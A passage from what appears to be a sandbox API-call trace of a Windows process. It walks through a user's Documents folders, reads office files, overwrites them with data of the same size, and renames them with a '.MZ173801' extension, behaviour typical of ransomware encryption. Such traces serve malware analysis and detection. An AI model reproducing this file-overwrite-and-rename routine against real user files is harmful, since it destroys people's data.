HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\5luqXXleB0M8zozK.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\5luqxxleb0m8zozk.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0124.936] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee54*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee54*=0) returned 0x0 [0124.936] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee4c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee4c*=0) returned 0x0 [0124.936] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee4c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee4c*=0) returned 0xb688 [0124.936] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee4c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee4c*=0) returned 0x0 [0124.937] ReadFile (in: hFile=0x2a0, lpBuffer=0x71c870, nNumberOfBytesToRead=0xb688, lpNumberOfBytesRead=0x18ee60, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18ee60*=0xb688, lpOverlapped=0x0) returned 1 [0124.938] CloseHandle (hObject=0x2a0) returned 1 [0124.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\5luqXXleB0M8zozK.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\5luqxxleb0m8zozk.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0124.940] WriteFile (in: hFile=0x2a0, lpBuffer=0x7288a0*, nNumberOfBytesToWrite=0xb688, lpNumberOfBytesWritten=0x18ee6c, lpOverlapped=0x0 | out: lpBuffer=0x7288a0*, lpNumberOfBytesWritten=0x18ee6c*=0xb688, lpOverlapped=0x0) returned 1 [0124.942] CloseHandle (hObject=0x2a0) returned 1 [0124.942] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\5luqXXleB0M8zozK.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\5luqxxleb0m8zozk.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\5luqXXleB0M8zozK.xls.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\_busof-1ozb 3iz4\\ow5ffs04iwdmwwkkq4e\\5luqxxleb0m8zozk.xls.mz173801")) returned 1 [0124.943] GetCurrentThreadId () returned 0x9fc [0124.943] GetCurrentThreadId () returned 0x9fc [0124.943] GetCurrentThreadId () returned 0x9fc [0124.943] GetCurrentThreadId () returned 0x9fc [0124.943] GetCurrentThreadId () returned 0x9fc [0124.943] GetCurrentThreadId () returned 0x9fc [0124.943] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd666980, ftCreationTime.dwHighDateTime=0x1d5e7b5, ftLastAccessTime.dwLowDateTime=0xca532150, ftLastAccessTime.dwHighDateTime=0x1d5d97e, ftLastWriteTime.dwLowDateTime=0xca532150, ftLastWriteTime.dwHighDateTime=0x1d5d97e, nFileSizeHigh=0x0, nFileSizeLow=0x9b8d, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Cgmyp-9fTcDYC8.odt", cAlternateFileName="CGMYP-~1.ODT")) returned 1 [0124.944] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.944] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.944] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855355a0, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0xca4b9470, ftLastAccessTime.dwHighDateTime=0x1d5da74, ftLastWriteTime.dwLowDateTime=0xca4b9470, ftLastWriteTime.dwHighDateTime=0x1d5da74, nFileSizeHigh=0x0, nFileSizeLow=0x11258, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="iBRwwdAH7kup1D_A.odp", cAlternateFileName="IBRWWD~1.ODP")) returned 1 [0124.944] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.944] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.944] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c923e0, ftCreationTime.dwHighDateTime=0x1d5e4dd, ftLastAccessTime.dwLowDateTime=0xca1f1010, ftLastAccessTime.dwHighDateTime=0x1d5e2e1, ftLastWriteTime.dwLowDateTime=0xca1f1010, ftLastWriteTime.dwHighDateTime=0x1d5e2e1, nFileSizeHigh=0x0, nFileSizeLow=0x32aa, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="tvrcQYtyJuP8g.ots", cAlternateFileName="TVRCQY~1.OTS")) returned 1 [0124.944] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.944] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.944] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbc3320, ftCreationTime.dwHighDateTime=0x1d5e5cf, ftLastAccessTime.dwLowDateTime=0xeb89c810, ftLastAccessTime.dwHighDateTime=0x1d5d8c5, ftLastWriteTime.dwLowDateTime=0xeb89c810, ftLastWriteTime.dwHighDateTime=0x1d5d8c5, nFileSizeHigh=0x0, nFileSizeLow=0x2638, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="x1uxAwp3IE.ods", cAlternateFileName="X1UXAW~1.ODS")) returned 1 [0124.944] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.944] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.944] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6860460, ftCreationTime.dwHighDateTime=0x1d5de94, ftLastAccessTime.dwLowDateTime=0x6b414650, ftLastAccessTime.dwHighDateTime=0x1d5e262, ftLastWriteTime.dwLowDateTime=0x6b414650, ftLastWriteTime.dwHighDateTime=0x1d5e262, nFileSizeHigh=0x0, nFileSizeLow=0x16521, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="XM-FeXb2tPl1aiPGuzhK.ods", cAlternateFileName="XM-FEX~1.ODS")) returned 1 [0124.944] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.944] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.944] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6860460, ftCreationTime.dwHighDateTime=0x1d5de94, ftLastAccessTime.dwLowDateTime=0x6b414650, ftLastAccessTime.dwHighDateTime=0x1d5e262, ftLastWriteTime.dwLowDateTime=0x6b414650, ftLastWriteTime.dwHighDateTime=0x1d5e262, nFileSizeHigh=0x0, nFileSizeLow=0x16521, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="XM-FeXb2tPl1aiPGuzhK.ods", cAlternateFileName="XM-FEX~1.ODS")) returned 0 [0124.944] GetLastError () returned 0x12 [0124.944] FindClose (in: hFindFile=0x2fc780 | out: hFindFile=0x2fc780) returned 1 [0124.944] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\_bUsoF-1OZB 3IZ4\\OW5FfS04iwdMwwKKq4E\\*.*", lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80b00c10, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x9b5285e0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b5285e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc780 [0124.944] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef10 | out: lpLocalFileTime=0x18ef10) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef10, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80b00c10, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0x9b5285e0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b5285e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc0d860, ftCreationTime.dwHighDateTime=0x1d5e0aa, ftLastAccessTime.dwLowDateTime=0x1fc28040, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x9b502480, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x4894, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="4 no16yO 0.rtf.MZ173801", cAlternateFileName="4NO16Y~1.MZ1")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9e1650, ftCreationTime.dwHighDateTime=0x1d5dd85, ftLastAccessTime.dwLowDateTime=0x1ea07180, ftLastAccessTime.dwHighDateTime=0x1d5e18c, ftLastWriteTime.dwLowDateTime=0x9b5285e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xb688, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="5luqXXleB0M8zozK.xls.MZ173801", cAlternateFileName="5LUQXX~1.MZ1")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd666980, ftCreationTime.dwHighDateTime=0x1d5e7b5, ftLastAccessTime.dwLowDateTime=0xca532150, ftLastAccessTime.dwHighDateTime=0x1d5d97e, ftLastWriteTime.dwLowDateTime=0xca532150, ftLastWriteTime.dwHighDateTime=0x1d5d97e, nFileSizeHigh=0x0, nFileSizeLow=0x9b8d, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Cgmyp-9fTcDYC8.odt", cAlternateFileName="CGMYP-~1.ODT")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855355a0, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0xca4b9470, ftLastAccessTime.dwHighDateTime=0x1d5da74, ftLastWriteTime.dwLowDateTime=0xca4b9470, ftLastWriteTime.dwHighDateTime=0x1d5da74, nFileSizeHigh=0x0, nFileSizeLow=0x11258, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="iBRwwdAH7kup1D_A.odp", cAlternateFileName="IBRWWD~1.ODP")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c923e0, ftCreationTime.dwHighDateTime=0x1d5e4dd, ftLastAccessTime.dwLowDateTime=0xca1f1010, ftLastAccessTime.dwHighDateTime=0x1d5e2e1, ftLastWriteTime.dwLowDateTime=0xca1f1010, ftLastWriteTime.dwHighDateTime=0x1d5e2e1, nFileSizeHigh=0x0, nFileSizeLow=0x32aa, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="tvrcQYtyJuP8g.ots", cAlternateFileName="TVRCQY~1.OTS")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbc3320, ftCreationTime.dwHighDateTime=0x1d5e5cf, ftLastAccessTime.dwLowDateTime=0xeb89c810, ftLastAccessTime.dwHighDateTime=0x1d5d8c5, ftLastWriteTime.dwLowDateTime=0xeb89c810, ftLastWriteTime.dwHighDateTime=0x1d5d8c5, nFileSizeHigh=0x0, nFileSizeLow=0x2638, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="x1uxAwp3IE.ods", cAlternateFileName="X1UXAW~1.ODS")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6860460, ftCreationTime.dwHighDateTime=0x1d5de94, ftLastAccessTime.dwLowDateTime=0x6b414650, ftLastAccessTime.dwHighDateTime=0x1d5e262, ftLastWriteTime.dwLowDateTime=0x6b414650, ftLastWriteTime.dwHighDateTime=0x1d5e262, nFileSizeHigh=0x0, nFileSizeLow=0x16521, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="XM-FeXb2tPl1aiPGuzhK.ods", cAlternateFileName="XM-FEX~1.ODS")) returned 1 [0124.945] FileTimeToLocalFileTime (in: lpFileTime=0x18efac, lpLocalFileTime=0x18ef0c | out: lpLocalFileTime=0x18ef0c) returned 1 [0124.945] FileTimeToDosDateTime (in: lpFileTime=0x18ef0c, lpFatDate=0x18ef7a, lpFatTime=0x18ef78 | out: lpFatDate=0x18ef7a, lpFatTime=0x18ef78) returned 1 [0124.945] FindNextFileW (in: hFindFile=0x2fc780, lpFindFileData=0x18ef98 | out: lpFindFileData=0x18ef98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6860460, ftCreationTime.dwHighDateTime=0x1d5de94, ftLastAccessTime.dwLowDateTime=0x6b414650, ftLastAccessTime.dwHighDateTime=0x1d5e262, ftLastWriteTime.dwLowDateTime=0x6b414650, ftLastWriteTime.dwHighDateTime=0x1d5e262, nFileSizeHigh=0x0, nFileSizeLow=0x16521, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="XM-FeXb2tPl1aiPGuzhK.ods", cAlternateFileName="XM-FEX~1.ODS")) returned 0 [0124.946] GetLastError () returned 0x12 [0124.946] FindClose (in: hFindFile=0x2fc780 | out: hFindFile=0x2fc780) returned 1 [0124.946] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe4d2a0, ftCreationTime.dwHighDateTime=0x1d5e78d, ftLastAccessTime.dwLowDateTime=0xa985cf30, ftLastAccessTime.dwHighDateTime=0x1d5dd62, ftLastWriteTime.dwLowDateTime=0x9b4dc320, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf351, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="RheIPXfIwRK.pptx.MZ173801", cAlternateFileName="RHEIPX~1.MZ1")) returned 1 [0124.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.946] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.946] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1e4c20, ftCreationTime.dwHighDateTime=0x1d5def1, ftLastAccessTime.dwLowDateTime=0xb55adae0, ftLastAccessTime.dwHighDateTime=0x1d5d83e, ftLastWriteTime.dwLowDateTime=0xb55adae0, ftLastWriteTime.dwHighDateTime=0x1d5d83e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="YAtfhQEWa9d9.ods", cAlternateFileName="YATFHQ~1.ODS")) returned 1 [0124.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.946] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.946] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1e4c20, ftCreationTime.dwHighDateTime=0x1d5def1, ftLastAccessTime.dwLowDateTime=0xb55adae0, ftLastAccessTime.dwHighDateTime=0x1d5d83e, ftLastWriteTime.dwLowDateTime=0xb55adae0, ftLastWriteTime.dwHighDateTime=0x1d5d83e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="YAtfhQEWa9d9.ods", cAlternateFileName="YATFHQ~1.ODS")) returned 0 [0124.946] GetLastError () returned 0x12 [0124.946] FindClose (in: hFindFile=0x2fc740 | out: hFindFile=0x2fc740) returned 1 [0124.946] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d47a6d0, ftCreationTime.dwHighDateTime=0x1d5e46e, ftLastAccessTime.dwLowDateTime=0xbf1209c0, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0xbf1209c0, ftLastWriteTime.dwHighDateTime=0x1d5e7cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_bUsoF-1OZB 3IZ4", cAlternateFileName="_BUSOF~1")) returned 0 [0124.946] GetLastError () returned 0x12 [0124.946] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0124.946] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c782380, ftCreationTime.dwHighDateTime=0x1d5e14e, ftLastAccessTime.dwLowDateTime=0xd7d17f40, ftLastAccessTime.dwHighDateTime=0x1d5e408, ftLastWriteTime.dwLowDateTime=0x9b3ab820, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x12230, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="cL2y69LbLQlaeySm.docx.MZ173801", cAlternateFileName="CL2Y69~1.MZ1")) returned 1 [0124.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.946] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.946] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7915e090, ftCreationTime.dwHighDateTime=0x1d5d922, ftLastAccessTime.dwLowDateTime=0x6fe51670, ftLastAccessTime.dwHighDateTime=0x1d5e3c3, ftLastWriteTime.dwLowDateTime=0x9b3d1980, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xb467, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="ERs66343C7ShFGA.docx.MZ173801", cAlternateFileName="ERS663~1.MZ1")) returned 1 [0124.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.946] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.946] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ec6d40, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xde849a0, ftLastAccessTime.dwHighDateTime=0x1d5e419, ftLastWriteTime.dwLowDateTime=0x9b3f7ae0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x15ac7, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="HXnZ4EJpd91xeE75V.pdf.MZ173801", cAlternateFileName="HXNZ4E~1.MZ1")) returned 1 [0124.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.946] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.947] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c17b20, ftCreationTime.dwHighDateTime=0x1d5d9b1, ftLastAccessTime.dwLowDateTime=0x113776c0, ftLastAccessTime.dwHighDateTime=0x1d5e00a, ftLastWriteTime.dwLowDateTime=0x113776c0, ftLastWriteTime.dwHighDateTime=0x1d5e00a, nFileSizeHigh=0x0, nFileSizeLow=0x11f1f, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="iWEb33Cogzj.ods", cAlternateFileName="IWEB33~1.ODS")) returned 1 [0124.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.947] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.947] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17de5900, ftCreationTime.dwHighDateTime=0x1d5dbbc, ftLastAccessTime.dwLowDateTime=0xead309c0, ftLastAccessTime.dwHighDateTime=0x1d5e4cf, ftLastWriteTime.dwLowDateTime=0x9b41dc40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xd094, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="soKgPrwly.ppt.MZ173801", cAlternateFileName="SOKGPR~1.MZ1")) returned 1 [0124.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.947] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.947] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfb4a230, ftCreationTime.dwHighDateTime=0x1d5e12c, ftLastAccessTime.dwLowDateTime=0x5276e9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0cd, ftLastWriteTime.dwLowDateTime=0x5276e9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="VS9E98FuPzAd", cAlternateFileName="VS9E98~1")) returned 1 